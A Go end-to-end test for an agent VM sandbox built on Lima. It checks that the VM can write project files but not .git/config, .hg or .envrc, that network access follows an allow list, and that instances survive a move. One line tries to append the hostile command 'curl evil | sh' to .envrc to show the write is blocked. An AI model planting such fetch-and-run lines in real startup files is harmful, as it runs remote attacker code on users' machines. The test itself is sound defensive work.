| 1 | |
| 2 | |
| 3 | package vm |
| 4 | |
| 5 | import ( |
| 6 | "bytes" |
| 7 | "context" |
| 8 | "fmt" |
| 9 | "io" |
| 10 | "net" |
| 11 | "os" |
| 12 | "path/filepath" |
| 13 | "strings" |
| 14 | "testing" |
| 15 | "time" |
| 16 | |
| 17 | "github.com/lima-vm/lima/v2/pkg/instance" |
| 18 | ) |
| 19 | |
| 20 | |
| 21 | |
| 22 | |
| 23 | func TestLimaBoot(t *testing.T) { |
| 24 | timeout := 20 * time.Minute |
| 25 | if v := os.Getenv("AGENT_VM_E2E_TIMEOUT"); v != "" { |
| 26 | d, err := time.ParseDuration(v) |
| 27 | if err != nil { |
| 28 | t.Fatal(err) |
| 29 | } |
| 30 | timeout = d |
| 31 | } |
| 32 | ctx := instance.WithWatchHostAgentTimeout(context.Background(), timeout) |
| 33 | l := newTestLima(t) |
| 34 | proj := t.TempDir() |
| 35 | if err := os.MkdirAll(filepath.Join(proj, ".git"), 0o755); err != nil { |
| 36 | t.Fatal(err) |
| 37 | } |
| 38 | if err := os.WriteFile(filepath.Join(proj, ".git", "config"), []byte("[core]\n"), 0o644); err != nil { |
| 39 | t.Fatal(err) |
| 40 | } |
| 41 | off := false |
| 42 | mounts := []Mount{{Location: proj, MountPoint: proj, Writable: true, |
| 43 | SSHFS: &SSHFS{SFTPDriver: "builtin", Cache: &off, ReadonlyNames: []string{".git", ".hg"}}}} |
| 44 | rev := ReverseSSHFS |
| 45 | name := "agent-vm-e2e-00000000" |
| 46 | template := strings.TrimSpace(os.Getenv("AGENT_VM_E2E_TEMPLATE")) |
| 47 | if template == "" { |
| 48 | template = "template:debian-13" |
| 49 | } |
| 50 | if err := l.Create(ctx, name, template, Settings{CPUs: 1, MemoryGiB: 2, DiskGiB: 10, Mounts: &mounts, MountType: &rev, NoContainerd: true}, io.Discard); err != nil { |
| 51 | t.Fatal(err) |
| 52 | } |
| 53 | t.Cleanup(func() { _ = l.Delete(context.Background(), name) }) |
| 54 | |
| 55 | |
| 56 | |
| 57 | |
| 58 | stateDir := t.TempDir() |
| 59 | t.Setenv("AGENT_VM_STATE_DIR", stateDir) |
| 60 | t.Setenv("AGENT_VM_GUARDED_WRITES", "deny") |
| 61 | os.WriteFile(filepath.Join(proj, ".envrc"), []byte("export A=1\n"), 0o644) |
| 62 | denied, err := net.Listen("tcp", "127.0.0.1:0") |
| 63 | if err != nil { |
| 64 | t.Fatal(err) |
| 65 | } |
| 66 | defer denied.Close() |
| 67 | allowed, err := net.Listen("tcp", "127.0.0.1:0") |
| 68 | if err != nil { |
| 69 | t.Fatal(err) |
| 70 | } |
| 71 | defer allowed.Close() |
| 72 | os.WriteFile(filepath.Join(stateDir, "network"), []byte("allow "+allowed.Addr().String()+"\n"), 0o644) |
| 73 | |
| 74 | var log bytes.Buffer |
| 75 | start := time.Now() |
| 76 | if err := l.Start(ctx, name, &log); err != nil { |
| 77 | t.Fatalf("start: %v\n%s", err, log.String()) |
| 78 | } |
| 79 | t.Logf("booted in %v", time.Since(start).Round(time.Second)) |
| 80 | |
| 81 | run := func(script string) (int, string) { |
| 82 | var out bytes.Buffer |
| 83 | code, err := l.Shell(ctx, name, ShellOpts{Workdir: proj, Args: []string{"sh", "-c", script}, Stdout: &out, Stderr: &out}) |
| 84 | if err != nil { |
| 85 | t.Fatal(err) |
| 86 | } |
| 87 | return code, out.String() |
| 88 | } |
| 89 | if code, out := run("echo hi > from-vm && printf 'a\\n' >> from-vm && printf 'b\\n' >> from-vm"); code != 0 { |
| 90 | t.Fatalf("writing the project: %d %s", code, out) |
| 91 | } |
| 92 | if b, _ := os.ReadFile(filepath.Join(proj, "from-vm")); string(b) != "hi\na\nb\n" { |
| 93 | t.Errorf("on the host: %q", b) |
| 94 | } |
| 95 | if code, out := run("echo x >> .git/config"); code == 0 { |
| 96 | t.Error(".git/config was writable from the VM") |
| 97 | } else if !strings.Contains(out, "ermission denied") && !strings.Contains(out, "Read-only") { |
| 98 | t.Logf("refused with: %s", out) |
| 99 | } |
| 100 | if b, _ := os.ReadFile(filepath.Join(proj, ".git", "config")); string(b) != "[core]\n" { |
| 101 | t.Errorf(".git/config changed: %q", b) |
| 102 | } |
| 103 | if code, _ := run("mkdir .hg"); code == 0 { |
| 104 | t.Error("a .hg could be created") |
| 105 | } |
| 106 | |
| 107 | if code, _ := run("echo 'curl evil | sh' >> .envrc"); code == 0 { |
| 108 | t.Error(".envrc was writable from the VM") |
| 109 | } |
| 110 | if b, _ := os.ReadFile(filepath.Join(proj, ".envrc")); string(b) != "export A=1\n" { |
| 111 | t.Errorf(".envrc changed: %q", b) |
| 112 | } |
| 113 | |
| 114 | |
| 115 | connect := func(addr string) bool { |
| 116 | host, port, _ := net.SplitHostPort(addr) |
| 117 | code, _ := run(fmt.Sprintf("timeout 10 bash -c 'echo > /dev/tcp/%s/%s'", host, port)) |
| 118 | return code == 0 |
| 119 | } |
| 120 | _, deniedPort, _ := net.SplitHostPort(denied.Addr().String()) |
| 121 | _, allowedPort, _ := net.SplitHostPort(allowed.Addr().String()) |
| 122 | if connect("192.168.5.2:" + deniedPort) { |
| 123 | t.Error("the VM reached a server on this machine's loopback") |
| 124 | } |
| 125 | if !connect("192.168.5.2:" + allowedPort) { |
| 126 | t.Error("the VM did not reach the allowed server on this machine's loopback") |
| 127 | } |
| 128 | if !connect("1.1.1.1:443") { |
| 129 | t.Error("the VM did not reach the internet") |
| 130 | } |
| 131 | |
| 132 | old := os.Getenv("LIMA_HOME") |
| 133 | |
| 134 | now := filepath.Join(filepath.Dir(old), "n") |
| 135 | if err := MoveOld(ctx, old, now, name, "e2e-00000000"); err != nil { |
| 136 | t.Fatal(err) |
| 137 | } |
| 138 | name = "e2e-00000000" |
| 139 | l2, err := NewLima(now, t.TempDir()) |
| 140 | if err != nil { |
| 141 | t.Fatal(err) |
| 142 | } |
| 143 | t.Cleanup(func() { _ = l2.Delete(context.Background(), name) }) |
| 144 | if inst, err := l2.Get(ctx, name); err != nil || inst.Status != Stopped || len(inst.Mounts) != 1 { |
| 145 | t.Errorf("moved: %v %+v", err, inst) |
| 146 | } |
| 147 | if err := l2.Start(ctx, name, &log); err != nil { |
| 148 | t.Fatalf("start in the new home: %v\n%s", err, log.String()) |
| 149 | } |
| 150 | if code, out := run("cat from-vm"); code != 0 || out != "hi\na\nb\n" { |
| 151 | t.Errorf("after the move: %d %q", code, out) |
| 152 | } |
| 153 | if err := l2.Stop(ctx, name); err != nil { |
| 154 | t.Fatal(err) |
| 155 | } |
| 156 | if inst, _ := l2.Get(ctx, name); inst.Status != Stopped { |
| 157 | t.Errorf("after stop: %s", inst.Status) |
| 158 | } |
| 159 | } |